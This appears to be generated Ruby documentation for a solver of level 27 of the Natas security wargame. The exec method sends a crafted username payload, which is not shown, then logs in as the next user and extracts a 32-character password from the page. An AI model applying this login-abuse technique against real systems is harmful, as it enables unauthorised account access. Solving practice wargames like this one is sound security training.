class NatasLevel27

Level 27

Constants

COLUMN_SIZE
LEVEL
NEXT_LOGIN
PAGE
PAYLOAD

Public Instance Methods

exec() click to toggle source
# File lib/natas.rb, line 760
def exec
  post(
    PAGE,
    {},
    {
      'username' => PAYLOAD,
      'password' => ''
    }
  )
  data = post(
    PAGE,
    {},
    {
      'username' => NEXT_LOGIN,
      'password' => ''
    }
  ).body
  match = /\[password\] => (\w{32})\n/.match(data)
  not_found unless match
  found(match[1])
end